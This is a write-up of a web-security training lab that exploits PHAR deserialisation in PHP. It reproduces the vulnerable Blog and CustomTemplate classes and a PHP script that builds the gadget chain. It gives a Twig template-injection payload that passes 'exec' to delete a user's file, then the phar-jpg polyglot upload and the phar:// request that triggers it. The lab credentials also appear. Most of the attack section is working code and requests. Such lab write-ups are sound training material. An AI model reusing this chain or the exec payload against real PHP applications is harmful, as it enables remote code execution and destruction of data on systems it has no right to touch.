Using PHAR deserialisation to deploy a custom gadget chain

Description

This lab does not explicitly use deserialisation. However, if you combine PHAR deserialisation with other advanced hacking techniques, you can still achieve remote code execution via a custom gadget chain.

Reproduction and proof of concept

  1. The website has a feature for uploading your own avatar, which only accepts JPG images. Upload a valid JPG as your avatar. It is loaded using GET /cgi-bin/avatar.php?avatar=wiener.

Serialisation

  1. In Burp Repeater, request GET /cgi-bin to find an index that shows a Blog.php and CustomTemplate.php file. Obtain the source code by requesting the files using the .php~ backup extension.

Blog.php:

<?php

require_once('/usr/local/envs/php-twig-1.19/vendor/autoload.php');

class Blog {
    public $user;
    public $desc;
    private $twig;

    public function __construct($user, $desc) {
        $this->user = $user;
        $this->desc = $desc;
    }

    public function __toString() {
        return $this->twig->render('index', ['user' => $this->user]);
    }

    public function __wakeup() {
        $loader = new Twig_Loader_Array([
            'index' => $this->desc,
        ]);
        $this->twig = new Twig_Environment($loader);
    }

    public function __sleep() {
        return ["user", "desc"];
    }
}

?>

CustomTemplate.php:

<?php

class CustomTemplate {
    private $template_file_path;

    public function __construct($template_file_path) {
        $this->template_file_path = $template_file_path;
    }

    private function isTemplateLocked() {
        return file_exists($this->lockFilePath());
    }

    public function getTemplate() {
        return file_get_contents($this->template_file_path);
    }

    public function saveTemplate($template) {
        if (!isTemplateLocked()) {
            if (file_put_contents($this->lockFilePath(), "") === false) {
                throw new Exception("Could not write to " . $this->lockFilePath());
            }
            if (file_put_contents($this->template_file_path, $template) === false) {
                throw new Exception("Could not write to " . $this->template_file_path);
            }
        }
    }

    function __destruct() {
        // Carlos thought this would be a good idea
        @unlink($this->lockFilePath());
    }

    private function lockFilePath()
    {
        return 'templates/' . $this->template_file_path . '.lock';
    }
}

?>
  1. Study the source code and identify the gadget chain involving the Blog->desc and CustomTemplate->lockFilePath attributes.

  2. The file_exists() filesystem method is called on the lockFilePath attribute.

  3. Notice that the website uses the Twig template engine. You can use deserialisation to pass in an server-side template injection (SSTI) payload. Find a documented SSTI payload for remote code execution on Twig, and adapt it to delete Carlos’s file:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}
  1. Write some PHP for creating a CustomTemplate and Blog containing the SSTI payload:

class CustomTemplate {}
class Blog {}
$object = new CustomTemplate;
$blog = new Blog;
$blog->desc = '{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}';
$blog->user = 'user';
$object->template_file_path = $blog;
  1. Create a phar-jpg polyglot containing the PHP script.

  2. Upload this file as your avatar.

  3. In Burp Repeater, modify the request line to deserialise your malicious avatar using a phar:// stream as follows:

GET /cgi-bin/avatar.php?avatar=phar://wiener
  1. Send the request to solve the lab.

Serialisation

Exploitability

An attacker will need to log in to wiener:peter; and delete the morale.txt file from Carlos’s home directory.